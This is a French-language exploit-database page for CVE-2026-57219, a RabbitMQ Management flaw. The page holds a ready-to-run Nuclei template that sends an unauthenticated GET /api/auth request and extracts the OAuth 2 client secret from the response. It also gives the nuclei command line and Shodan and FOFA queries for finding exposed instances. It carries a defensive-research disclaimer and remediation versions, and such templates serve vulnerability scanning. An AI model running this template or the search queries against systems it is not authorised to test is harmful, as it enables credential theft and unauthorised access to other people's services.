Exploit matérialisé

CVE-2026-57219

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei high Vérifié

Source

RabbitMQ Management - OAuth 2 Client Secret Disclosure

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2026-57219 -u https://your-target

Template yaml

id: CVE-2026-57219

info:
  name: RabbitMQ Management - OAuth 2 Client Secret Disclosure
  author: aryu-ru
  severity: high
  description: |
    RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.
  impact: |
    Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access.
  remediation: |
    Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later.
  reference:
    - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q
    - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-57219
    epss-score: 0.01988
    epss-percentile: 0.79206
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    vendor: broadcom
    product: rabbitmq_server
    shodan-query: http.title:"RabbitMQ Management"
    fofa-query: title="RabbitMQ Management"
  tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth

http:
  - raw:
      - |
        GET /api/auth HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, "oauth_enabled", "oauth_client_secret")
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.oauth_client_secret'
# digest: 490a0046304402206a1724c3db8161d8b734cdc76fa823d0c1f7049776b664e34cf4631512a468f802202c3aeb7661a7e4f86051f19b45cb8400002263df393e129af4bc242710bd861f:922c64590222798bb761d5b6d8e72950